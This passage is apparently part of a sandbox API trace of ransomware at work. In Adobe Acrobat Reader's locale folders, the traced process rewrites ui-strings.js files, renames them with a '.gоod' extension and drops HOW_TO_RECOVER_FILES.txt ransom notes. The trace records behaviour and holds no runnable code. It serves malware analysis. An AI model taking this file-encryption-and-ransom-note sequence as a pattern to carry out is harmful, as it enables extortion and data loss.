DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.259] GetFileType (hFile=0x7dc) returned 0x1 [0158.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.259] GetFileType (hFile=0x7dc) returned 0x1 [0158.259] WriteFile (in: hFile=0x7dc, lpBuffer=0x3515618*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3515618*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0158.259] CloseHandle (hObject=0x7dc) returned 1 [0158.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0158.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0158.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5a8b1b65, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38ea)) returned 1 [0158.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0158.259] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0158.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0158.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0158.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0158.260] GetFileType (hFile=0x7dc) returned 0x1 [0158.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0158.261] GetFileType (hFile=0x7dc) returned 0x1 [0158.261] WriteFile (in: hFile=0x7dc, lpBuffer=0x35956d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35956d0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0158.262] CloseHandle (hObject=0x7dc) returned 1 [0158.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.262] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x69 [0158.262] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0158.263] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.263] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.263] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.263] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0158.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.263] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x69 [0158.263] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0158.263] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.264] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.264] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0158.264] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0158.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0158.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0158.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0158.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35a52a8 | out: lpFileInformation=0x35a52a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba)) returned 1 [0158.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0158.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.265] GetFileType (hFile=0x7dc) returned 0x1 [0158.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.265] GetFileType (hFile=0x7dc) returned 0x1 [0158.265] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0158.265] ReadFile (in: hFile=0x7dc, lpBuffer=0x35a5780, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35a5780*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0158.377] CloseHandle (hObject=0x7dc) returned 1 [0158.377] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.378] GetFileType (hFile=0x7dc) returned 0x1 [0158.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.378] GetFileType (hFile=0x7dc) returned 0x1 [0158.378] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3eba [0158.378] WriteFile (in: hFile=0x7dc, lpBuffer=0x3444bd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3444bd8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0158.379] CloseHandle (hObject=0x7dc) returned 1 [0158.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.379] GetFileType (hFile=0x7dc) returned 0x1 [0158.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.379] GetFileType (hFile=0x7dc) returned 0x1 [0158.379] ReadFile (in: hFile=0x7dc, lpBuffer=0x3447098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3447098*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0158.406] CloseHandle (hObject=0x7dc) returned 1 [0158.406] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0158.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.406] GetFileType (hFile=0x7dc) returned 0x1 [0158.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0158.406] GetFileType (hFile=0x7dc) returned 0x1 [0158.406] WriteFile (in: hFile=0x7dc, lpBuffer=0x3445d90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3445d90*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0158.406] CloseHandle (hObject=0x7dc) returned 1 [0158.406] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0158.406] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0158.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0158.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5aa090ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3eca)) returned 1 [0158.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0158.407] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0158.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0158.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0158.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0158.408] GetFileType (hFile=0x7dc) returned 0x1 [0158.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0158.408] GetFileType (hFile=0x7dc) returned 0x1 [0158.409] WriteFile (in: hFile=0x7dc, lpBuffer=0x34c6bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34c6bc0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0158.410] CloseHandle (hObject=0x7dc) returned 1 [0158.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0158.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x69 [0158.411] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0158.676] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.677] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0158.678] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.678] FindClose (in: hFindFile=0x1283d30 | out: 